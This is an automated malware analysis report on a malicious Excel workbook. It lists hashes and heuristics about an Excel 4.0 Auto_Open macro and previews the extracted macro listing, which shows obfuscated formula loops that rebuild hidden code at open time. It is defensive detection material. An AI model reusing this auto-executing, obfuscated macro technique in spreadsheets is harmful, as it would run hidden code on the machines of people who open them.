Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fffd9864860f2e33…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:38:51 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 51face85ad4a787092accfe166f24956 SHA-1: 298b0f5434e7749b024bcb49c29ee25436b63017 SHA-256: fffd9864860f2e3346414ab56ed1897764a945e75520394c061ac4e1597cce8f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6539 bytes
SHA-256: ae7bdaac7d33728e105eb35205a3f441147227e5c7be7ad9b00371775ebeeee8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IQBGPpbEl
' 0018     26 LABEL : Cell Value, String Constant - AQEOnNmFGwL len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C153 
' 0018     25 LABEL : Cell Value, String Constant - BcYvXXNOQE len=0 
' 0018     25 LABEL : Cell Value, String Constant - BWhqklcSgl len=0 
' 0018     22 LABEL : Cell Value, String Constant - CWIGkVh len=0 
' 0018     21 LABEL : Cell Value, String Constant - FQVjNc len=0 
' 0018     22 LABEL : Cell Value, String Constant - GzDwILx len=0 
' 0018     20 LABEL : Cell Value, String Constant - JncxG len=0 
' 0018     21 LABEL : Cell Value, String Constant - kSwHTq len=0 
' 0018     26 LABEL : Cell Value, String Constant - LVfsLSJUqGJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - mEYjn len=0 
' 0018     25 LABEL : Cell Value, String Constant - MUyugssxaB len=0 
' 0018     24 LABEL : Cell Value, String Constant - NMeJEaEyu len=0 
' 0018     21 LABEL : Cell Value, String Constant - NPFfyo len=0 
' 0018     20 LABEL : Cell Value, String Constant - QQBKZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - tDSTcu len=0 
' 0018     27 LABEL : Cell Value, String Constant - uWJVbpIpCZqN len=0 
' 0018     25 LABEL : Cell Value, String Constant - VqNKGATZBu len=0 
' 0018     22 LABEL : Cell Value, String Constant - WQFEzmF len=0 
' 0018     23 LABEL : Cell Value, String Constant - wrGSPFmY len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZSMSYGA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IQBGPpbEl,C69,"SET.NAME("GzDwILx",VALUE("0"))",""
'  IQBGPpbEl,C72,"SET.NAME("BcYvXXNOQE",GzDwILx)",""
'  IQBGPpbEl,C75,"SET.NAME("ZSMSYGA",GzDwILx)",""
'  IQBGPpbEl,C79,"SET.NAME("kSwHTq",COUNTA(FQVjNc))",""
'  IQBGPpbEl,C82,"SET.NAME("JncxG",COUNTA(wrGSPFmY))",""
'  IQBGPpbEl,C86,[],""
'  IQBGPpbEl,C88,"SET.NAME("CWIGkVh","")",""
'  IQBGPpbEl,C90,"BcYvXXNOQE",""
'  IQBGPpbEl,C94,"SET.NAME("AQEOnNmFGwL",HLOOKUP("*",FQVjNc,BcYvXXNOQE,FALSE))",""
'  IQBGPpbEl,C97,"tDSTcu",""
'  IQBGPpbEl,C100,"SET.NAME("LVfsLSJUqGJ",GzDwILx)",""
'  IQBGPpbEl,C104,[],""
'  IQBGPpbEl,C107,"LVfsLSJUqGJ",""
'  IQBGPpbEl,C110,"NMeJEaEyu",""
'  IQBGPpbEl,C113,"WQFEzmF",""
'  IQBGPpbEl,C115,"MUyugssxaB",""
'  IQBGPpbEl,C118,"SET.NAME("mEYjn",VALUE(HLOOKUP("*",wrGSPFmY,MUyugssxaB,FALSE)))",""
'  IQBGPpbEl,C122,"uWJVbpIpCZqN",""
'  IQBGPpbEl,C125,"CWIGkVh",""
'  IQBGPpbEl,C127,"ZSMSYGA",""
'  IQBGPpbEl,C132,NEXT(),""
'  IQBGPpbEl,C137,"BWhqklcSgl",""
'  IQBGPpbEl,C139,"SET.NAME("f",INT(T(FORMULA(T(CWIGkVh)&"",""&T(BWhqklcSgl)))))",""
'  IQBGPpbEl,C144,"QQBKZ",""
'  IQBGPpbEl,C147,NEXT(),""
'  IQBGPpbEl,C149,RETURN(),""
'  IQBGPpbEl,C174,"SET.NAME("NPFfyo",C69)",""
'  IQBGPpbEl,C176,"FQVjNc",""
'  IQBGPpbEl,C178,"SET.NAME("wrGSPFmY",R82C14)",""
'  IQBGPpbEl,C181,"SET.NAME("QQBKZ",187)",""
'  IQBGPpbEl,C184,"SET.NAME("VqNKGATZBu",3)",""
'  IQBGPpbEl,C186,NPFfyo(),""
'  IQBGPpbEl,C187,HALT(),""

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